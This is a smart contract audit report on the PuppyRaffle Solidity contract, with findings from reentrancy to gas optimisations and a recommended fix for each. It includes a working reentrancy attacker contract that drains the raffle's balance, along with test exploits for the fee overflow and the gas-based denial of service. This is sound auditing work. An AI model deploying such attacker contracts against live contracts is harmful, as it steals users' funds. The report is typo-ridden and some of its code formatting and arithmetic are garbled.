PuppyRaffle Audit Report

Version 1.0

@Ramprasad

March 16, 2024

PuppyRaffle-audit-report

Ramprasad

march 16, 2024

Prepared by: Ramprasad

- Ramprasad

Table of Contents

- MEDIUM
  - [M-1] loopig through players array to ckeck for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (Dos) attack. incrementing gas costs for future entrants.
  - [M-2] Smart contract wallet raffle the winner without a `receive` or `fallBack` function will block the start of a new contest.
- Low
  - [L-1] Solidity pragma should be specific, not wide
  - [L-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and at players at index 0,Causing a player at index 0 to incorrectly think they have not enterd the raffle.
- GAS
  - [G-1] Unchanged variables should be declared constant or immutable
  - [G-2] Storage variable should be a cached
- INFORMANTIONAL
  - [I-1] solidity pragma should be specefic,not wide.
  - [I-2] using outdated solidity version is not recomended
  - Recommendation
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` doesnt follow CEI,which is not a best practice
  - [I-5] Use of majic numbers is discouraged.

Disclaimer

My team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

	Impact		
	High	Medium	Low

			Impact	
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document corresponded the following commmit hash:**

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severtity	Number of issues found
High	3
Medium	2
Low	2
Information	5
Gas	2
Total	14

Findings

HIGH

[H-1] Reentrancy attack in `PuppyRaffle::refund` function allows entrants to drain raffle balance.

Description: The `PuppyRaffle::refund` function doesnt follow CEI [] as a result , enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function first we make an external call to the `msg.sender` address,and only afteer making the external call do we update the `PuppyRaffle::players` array.

`java scripts function refund(uint256 playerIndex)public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); @> payable(msg.sender).sendValue(entranceFee); @> players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); }` A players who has entered the raffle could have the `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim the anoter refund.They could continue the ycle till the contract balance is drained.

Impact: All the fee paid by the raffle entrants could be stolen by the mallisious participant.

Proof of Concept: 1. user enters into the raffle. 2. Attackers setup a contract with a `fallback` function that calls `PuppyRaffle::refund`. 3. Attackers enters into the raffle. 4. Attackers calls `PuppyRaffle::refund` function from there attack contract.Draining the contract balance.

Proof Of Code

code

Place the follwing code to `PuppyRaffleTest.t.sol`:

```

function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentracncyAttacker attackerContract = new ReentracncyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting Attacker Contract Balance",
            startingAttackContractBalance
        );
        console.log("Starting Contract Balance ", startingContractBalance);

        console.log(
            "Ending attacker  contract balance: ",
            address(attackerContract).balance
        );
        console.log(
            "Starting contract balance: ",
            address(puppyRaffle).balance
        );
    }
}
```

Also following contract as well:

```

contract ReentracncyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this we should should have the `PuppyRaffle::refund` function update the `players` array before making the external call.Additionally we should move the event emission as well.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require( playerAddress == msg.sender,"PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinners` alllows users to predict or influnce the winner and influence or predict the winning puppy.

Description: hashing `ms.sender`, `block.timestamp` and `block.difficulty` together creats a predictible find number. a predictable number is not a good random number.Malisious users can manipulate these values or know them ahed of time to choose the winner of the raffle themselvles.

Note This additionally means users could front run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy.making the entire raffle worthless if it becomes a gas war as who has wins the raffles.

Proof of Concept: 1. Validatores can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. see the[https://soliditydeveloper.com/prevrandao].`blo` `.defficulty` is replaced with prevrando. 2. user can mine/manupulate their `ms.sender` value o result in there address being used to generate the winner. 3. Users can revert their `selectWinner` transaction if they dont like the winner/resulting puppy .

Recommended Mitigation: Consider using a cryptographically proovable random number generator such as chain link generator.

[H-3] Integer overflow of `PuppyRaffle::totalFee` losses Fee

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows. `java script uint64 myVar = type(uint64).max //18446744073709551615 myVar += 1 // myVar will be 0`

Impact: In `PuppyRaffle::selectWinner`, `totalFee` are accumalated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFee` However if the `totalFee` variable overflows, the `feeAddress` may not collect the correct amount of fee, leaving fee permanantly stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players. 2. we then have 89 players enter a new raffle, and conclude the raffle. 3. `totalFee` will be `java script totalFee = totalFee + uint64(fee); //aka totalFee = 800000000000 + 17800000000000 //and this will be overflow totalFee = 186000000000000000`

4. you will not able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

"'java script require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

Althtough you could use `seldistruct` to send ETH to this contract in order for the values to match and the withdraw the fees, this is clearly not the intended design of the protocall. at some point, there will be too much `balance` in this contract that the above `require` will be impossible to hit.

<details>
<summary>Code</summary>

```java script
 function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: Here are the recomended mitigations: 1. Use a newer version of the solidity, and `uint256` instead `uint64` for `PuppyRaffle::totalFees`. 2. You could also use the `SafeMath` library of the openZeplin for version 0.7.8 of solidity,however you could have a hard time with the `uint64` type if too many fee are collected. 3. Remove the balance check from `PuppyRaffle::withdrawFees` `diff - require(address(this).balance == uint256(totalFees),"PuppyRaffle: There are currently players active!");`

There are more attack vectors with the more require,so we recommand it to remove regardlessly.

MEDIUM

[M-1] loopig through players array to ckeck for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (Dos) attack. incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check the duplicates.However,the longer `puppyRaffle::players` array is , the more checks the new players have to make.This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later.every additional address in the `players` array, is an additional check the loop will ahve to make. `java scripts //@audit Dos for (uint256 i = 0; i < players.length - 1; i++){ for (uint256 j = i + 1; j < players.length; j++){ require( players[i] != players[j], "PuppyRaffle: Duplicate player" ); } }`

Impact: The gas costs for raffle entrants will grantly increase as more players enter the raffle.Discouraging later users from entering,and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attackers might make `puppyRaffle::entrants` rray so big,that no one else enters,guaranteeing themselves the win.

Proof of Concept: -If we have 2 sets of 100 players enter,the gas cost will be such as: Gas used by 1st 100 players is: 6252048 Gas used by 2nd 100 players is: 18068138

This is more than 3x more expensive for the second 100 players.

Poc

Place the following test into `puppyRaffleTest.t.sol`

"'java script function test_denialServiceAttack() public {

```
    vm.txGasPrice(1);

    //Lets enter 1st 100 players;
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas used by 1st 100 players is:", gasUsedFirst);

    //For 2nd 100 players;
    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(i + playersNum);
    }

    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(
        playersTwo
    );
    uint256 gasEndSecond = gasleft();
    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
    console.log("Gas used by 2nd 100 players is:", gasUsedSecond);

    assert(gasUsedFirst < gasUsedSecond);
}
```

```

</Details>


**Recommended Mitigation:** There are few Recomendations.

1. Consider allowing duplicates.users can make new wallet address anyways, so a duplicate check doesnt prevent the same person entering multiple times,only the same wallet address.
2. Consider a mapping to check for duplicates.this would allow constant time look off weather a user has already entered.


### [M-2] Smart contract wallet raffle the winner without a `receive` or `fallBack`function will block the start of a new contest.

**Description:** The `PuppyRaffle::selectWinner` is a responsible for the resetting the lottery.However, if the winner is a smart contract wallet that reject payment, the lottory would not be able to restart.
```

~~~

users could easily call the `seletWinner` function again and non-wallet entrants could enter,but it could costs a lot due to the duplicate check and a lottory reset could get very challenging.

Impact: The `PuppyRaffle::selectwinner` function could be revert many times,making a lottory reset difficcult.

Proof of Concept:
1. 10 smart contract wallets will enter the lottory without any `fallback` or `receive` function.
2. The lottorey ends
3. The `selectWinner` function woudnt works,even though the lottorey over!

Recommended Mitigation:
1. Donot allow smart contract wallet entrants(not recomended)
2. create a mapping of addresses -> payout ammounts so winner can pull there funds out themselves wiht a `claimPrize` function,puttng the ownes on the winner to claim the prize.(Recomended)
   > Pull Over Push

Low
[L-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol [Line: 2](src/PuppyRaffle.sol#L2)

    ```solidity
    pragma solidity ^0.7.6;

    ```

[L-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and at players at index 0,Causing a player at index 0 to incorrectly think they have not enterd the raffle.

Description: If a player is in the `PuppyRaffle::player` array at index 0,This will be return 0,but according to the netspec,it wiil also return 0 if a player is not in the array.
```javascript
  function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
~~~

```
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not enterd the raffle.and attempt to enter the raffle again, wasting gas

Proof of Concept: 1. User enter the raffle, They are the first entrant. 2. `PuppyRaffle::getActivePlayersIndex` returns 0. 3. Users think they have not enterd the correctly due to the function documentation.

Recommended Mitigation: The easiest recomondation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competetion,But a bette solution might be to return `int256` where the function returns -1 if the player is not active.

## GAS ### [G-1] Unchanged variables should be declared constant or immutable Reading from the storage is much more expensive than the reading from the constant or immutable variable.

```
Instances:
- `PuppyRaffle::raffleDuration` should be immutable
- `PuppyRaffle::commonImageUri ` should be constant
- `PuppyRaffle::rareImageUri` should be constant
- `PuppyRaffle::legendaryImageUri` should be constant
```

[G-2] Storage variable should be a cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
-  for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+    for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

INFORMANTIONAL

[I-1] solidity pragma should be specefic,not wide.

```
Consider usig a specefic solidity version in your contracts instead of a wide version.
```

For example instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

### [I-2] using outdated solidity version is not recomended

```
use the lattest version like `0.8.18`
```

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

### Recommendation Deploy with any of the following Solidity versions:

`0.8.18`

The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

plese see slither documentation [slither] https://github.com/crytic/slither/wiki/Detector-Documentation#state-variables-that-could-be-declared-constant for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 182

  ```
          raffleStartTime = block.timestamp;
  ```

- Found in src/PuppyRaffle.sol Line: 204

  ```
      function changeFeeAddress(address newFeeAddress) external onlyOwner {
  ```

[I-4] `PuppyRaffle::selectWinner` doesnt follow CEI,which is not a best practice

Its best to keep code clean and follow CEI(Checks ,Effects,Interactions)

```
- (bool success, ) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+         (bool success, ) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of majic numbers is discouraged.

It can be confusing to see number literals in a code base, and its much more readable is if numbers are given a name.

instead of you use: “‘java script

uint256 public const PRIZE_POOL_PERCENTAGE = 80; uint256 public const FEE_PERCENTAGE = 20; UINT256 public const POOL_PRECISION = 100;

“‘